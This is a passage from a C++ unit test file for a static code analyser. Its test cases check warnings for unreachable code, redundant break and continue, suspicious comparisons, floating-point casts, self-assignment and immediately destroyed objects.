statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw = 0;\\n\"\n \" return 1;\\n\"\n \"}\", false, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo(int unused) {\\n\"\n \" return 0;\\n\"\n \" (void)unused;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" if(bar)\\n\"\n \" return 0;\\n\"\n \" return 124;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" while(bar) {\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return 124;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while(bar) {\\n\"\n \" return;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #5707\n check(\"extern int i,j;\\n\"\n \"int foo() {\\n\"\n \" switch(i) {\\n\"\n \" default: j=1; break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \" j=2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" label:\\n\"\n \" throw 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:3]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" virtual void foo (P & Val) throw ();\\n\"\n \" virtual void foo1 (P & Val) throw ();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" while (true) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" do {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" } while (true);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" for (;;) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n // #3383. TODO: Use preprocessor\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style, inconclusive) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #4711 lambda functions\n check(\"int f() {\\n\"\n \" return g([](int x){(void)x+1; return x;});\\n\"\n \"}\",\n true,\n false,\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4756\n check(\"template <>\\n\"\n \"inline uint16_t htobe(uint16_t value) {\\n\"\n \" return ( __extension__ ({\\n\"\n \" register unsigned short int __v, __x = (unsigned short int) (value);\\n\"\n \" if (__builtin_constant_p (__x))\\n\"\n \" __v = ((unsigned short int) ((((__x) >> 8) & 0xff) | (((__x) & 0xff) << 8)));\\n\"\n \" else\\n\"\n \" __asm__ (\\\"rorw $8, %w0\\\" : \\\"=r\\\" (__v) : \\\"0\\\" (__x) : \\\"cc\\\");\\n\"\n \" (void)__v;\\n\"\n \" }));\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6008\n check(\"static std::function< int ( int, int ) > GetFunctor() {\\n\"\n \" return [](int a_, int b_) -> int {\\n\"\n \" int sum = a_ + b_;\\n\"\n \" return sum;\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5789\n check(\"struct per_state_info {\\n\"\n \" uint64_t enter, exit;\\n\"\n \" uint64_t events;\\n\"\n \" per_state_info() : enter(0), exit(0), events(0) {}\\n\"\n \"};\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6664\n check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : exit(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" (beat < 100) ? exit(0) : (void)0;\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8261\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : throw(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" exit(0);\\n\"\n \" return 1;\\n\" // <- clarify for tools that function does not continue..\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum : uint8_t { A, B } var = A;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define INB(x) __extension__ ({ u_int tmp = (x); inb(tmp); })\\n\" // #4739\n \"static unsigned char cmos_hal_read(unsigned index) {\\n\"\n \" unsigned short port_0, port_1;\\n\"\n \" assert(!verify_cmos_byte_index(index));\\n\"\n \" if (index < 128) {\\n\"\n \" port_0 = 0x70;\\n\"\n \" port_1 = 0x71;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" port_0 = 0x72;\\n\"\n \" port_1 = 0x73;\\n\"\n \" }\\n\"\n \" OUTB(index, port_0);\\n\"\n \" return INB(port_1);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"[[noreturn]] void n();\\n\"\n \"void f() {\\n\"\n \" n();\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Statements following noreturn function 'n()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" exit(1);\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" do {\\n\"\n \" break;\\n\"\n \" g();\\n\"\n \" } while (0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Statements following 'break' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12244\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int c) {\\n\"\n \" switch (c) {\\n\"\n \" case '\\\\n':\\n\"\n \" { return 1; };\\n\"\n \" default:\\n\"\n \" { return c; };\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char *argv[]) {\\n\" // #11\n \" switch (argc) {\\n\"\n \" case 0: {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\"\n \"[test.cpp:1:26]: (style) Parameter 'argv' can be declared as const array [constParameter]\\n\",\n errout_str());\n\n check(\"int f(int i) {\\n\" // #13491\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" {\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int a[1];\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" a[0] = 5;\\n\"\n \" return a[0] + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" dostuff();\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", \"\", errout_str());\n\n check(\"int f() {\\n\" // #13472\n \" int var;\\n\"\n \" auto int ret();\\n\"\n \" int ret() {\\n\"\n \" return var;\\n\"\n \" }\\n\"\n \" var = 42;\\n\"\n \" return ret();\\n\"\n \"}\\n\", /*cpp*/ false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #13516\n \" io_uring_for_each_cqe(&ring, head, cqe) {\\n\"\n \" if (cqe->res == -EOPNOTSUPP)\\n\"\n \" printf(\\\"error\\\");\\n\"\n \" goto ok;\\n\"\n \" }\\n\"\n \" usleep(10000);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantContinue() {\n check(\"void f() {\\n\" // #11195\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\"\n \" do {\\n\"\n \" ++i;\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" } while (i < 10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\" // #13544\n \" switch (x) {\\n\"\n \" case 1: {\\n\"\n \" return y != 0;\\n\"\n \" int z = y + 5;\\n\"\n \" return z != 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n }\n\n\n void suspiciousCase() {\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B:\\n\"\n \" foo();\\n\"\n \" case (A||B):\\n\"\n \" foo();\\n\"\n \" case A||B:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '&&' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:5:16]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:7:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case 1:\\n\"\n \" a=A&&B;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B?B:A:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\"), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousEqualityComparison() {\n check(\"void foo(int c) {\\n\"\n \" if (x) c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(const int* c) {\\n\"\n \" if (x) *c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n\n check(\"void foo(int c) {\\n\"\n \" if (c == 1) {\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" c == 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i == 10; i ++) {\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 0; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 1; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 2; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i < 10; i == c) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (; running == 1;) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" printf(\\\"%i\\\", ({x==0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int arg) {\\n\"\n \" printf(\\\"%i\\\", ({int x = do_something(); x == 0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" printf(\\\"%i\\\", ({x == 0; x > 0 ? 10 : 20}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (const Token* end = tok->link(); tok != end; tok = (tok == end) ? end : tok->next()) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = (x == 0) ? 0 : 5; i < 10; i ++) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = 0; i < 10; i += (x == 5) ? 1 : 2) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousUnaryPlusMinus() { // #8004\n check(\"int g() { return 1; }\\n\"\n \"void f() {\\n\"\n \" +g();\\n\"\n \" -g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\"\n \" +i;\\n\"\n \" -i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n }\n\n void suspiciousFloatingPointCast() {\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + (float)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + static_cast(b) + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"long double f(long double a, long double b, float c) {\\n\"\n \" return a + (double)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"void g(int, double);\\n\"\n \"void h(double);\\n\"\n \"void f(double d) {\\n\"\n \" g(1, (float)d);\\n\"\n \" h((float)d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\"\n \"[test.cpp:5:7]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\",\n errout_str());\n }\n\n void selfAssignment() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"struct A { int b; };\\n\"\n \"void foo(A* a1, A* a2) {\\n\"\n \" a1->b = a1->b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'a1->b' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"int x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" x = x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4073 (segmentation fault)\n check(\"void Foo::myFunc( int a )\\n\"\n \"{\\n\"\n \" if (a == 42)\\n\"\n \" a = a;\\n\"\n \"}\");\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int *x = getx();\\n\"\n \" *x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" BAR *x = getx();\\n\"\n \" x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #2502 - non-primitive type -> there might be some side effects\n check(\"void foo()\\n\"\n \"{\\n\"\n \" Fred fred; fred = fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x == 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x != 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #3001 - false positive\n check(\"void foo(int x) {\\n\"\n \" x = x ? x : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3800 - false negative when variable is extern\n check(\"extern int i;\\n\"\n \"void f() {\\n\"\n \" i = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'i' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4291 - id for variables accessed through 'this'\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"void Foo::func() {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Redundant assignment of 'this->var' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func(int var);\\n\"\n \"};\\n\"\n \"void Foo::func(int var) {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6406 - designated initializer doing bogus self assignment\n check(\"struct callbacks {\\n\"\n \" void (*s)(void);\\n\"\n \"};\\n\"\n \"void something(void) {}\\n\"\n \"void f() {\\n\"\n \" struct callbacks ops = { .s = ops.s };\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Redundant assignment of 'something' to itself.\\n\", \"\", errout_str());\n\n check(\"class V\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" V()\\n\"\n \" {\\n\"\n \" x = y = z = 0.0;\\n\"\n \" }\\n\"\n \" V( double x, const double y_, const double &z_)\\n\"\n \" {\\n\"\n \" x = x; y = y; z = z;\\n\"\n \" }\\n\"\n \" double x, y, z;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:18]: (style) Redundant assignment of 'y' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:25]: (style) Redundant assignment of 'z' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void f(int i) { i = !!i; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int x = 1;\\n\"\n \" int &ref = x;\\n\"\n \" ref = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Redundant assignment of 'ref' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\" // #9850\n \" int i{};\\n\"\n \" void modify();\\n\"\n \" void method() {\\n\"\n \" Foo copy = *this;\\n\"\n \" modify();\\n\"\n \" *this = copy;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11383\n \" void f() {\\n\"\n \" int x = 42;\"\n \" auto l2 = [i = i, x, y = 0]() { return i + x + y; };\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10337\n \" int b[2] = { 1, 2 };\\n\"\n \" int idx = 0;\\n\"\n \" int& i = b[idx];\\n\"\n \" idx++;\\n\"\n \" i = b[idx];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\" // #12390\n \"void f() {\\n\"\n \" int o = s.i;\\n\"\n \" g(&s.i);\\n\"\n \" s.i = o;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac1132() {\n check(\"class Lock\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Lock(int i)\\n\"\n \" {\\n\"\n \" std::cout << \\\"Lock \\\" << i << std::endl;\\n\"\n \" }\\n\"\n \" ~Lock()\\n\"\n \" {\\n\"\n \" std::cout << \\\"~Lock\\\" << std::endl;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" Lock(123);\\n\"\n \" std::cout << \\\"hello\\\" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:15:5]: (style) Instance of 'Lock' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac3693() {\n check(\"struct A{\\n\"\n \" enum {\\n\"\n \" b = 300\\n\"\n \" };\\n\"\n \"};\\n\"\n \"const int DFLT_TIMEOUT = A::b % 1000000 ;\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction1() {\n check(\"int main ( )\\n\"\n \"{\\n\"\n \" CouldBeFunction ( 123 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction2() {\n check(\"struct error {\\n\"\n \" error() {}\\n\"\n \"};\\n\"\n \"\\n\"\n \"class parser {\\n\"\n \"public:\\n\"\n \" void error() const {}\\n\"\n \"\\n\"\n \" void foo() const {\\n\"\n \" error();\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectPicksClass() {\n check(\"class NotAFunction ;\\n\"\n \"int function ( )\\n\"\n \"{\\n\"\n \" NotAFunction ( 123 );\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAFunction' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectPicksStruct() {\n check(\"struct NotAClass;\\n\"\n \"bool func ( )\\n\"\n \"{\\n\"\n \" NotAClass ( 123 ) ;\\n\"\n \" return true ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAClass' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickIf() {\n check(\"bool func( int a , int b , int c )\\n\"\n \"{\\n\"\n \" if ( a > b ) return c == a ;\\n\"\n \" return b == a 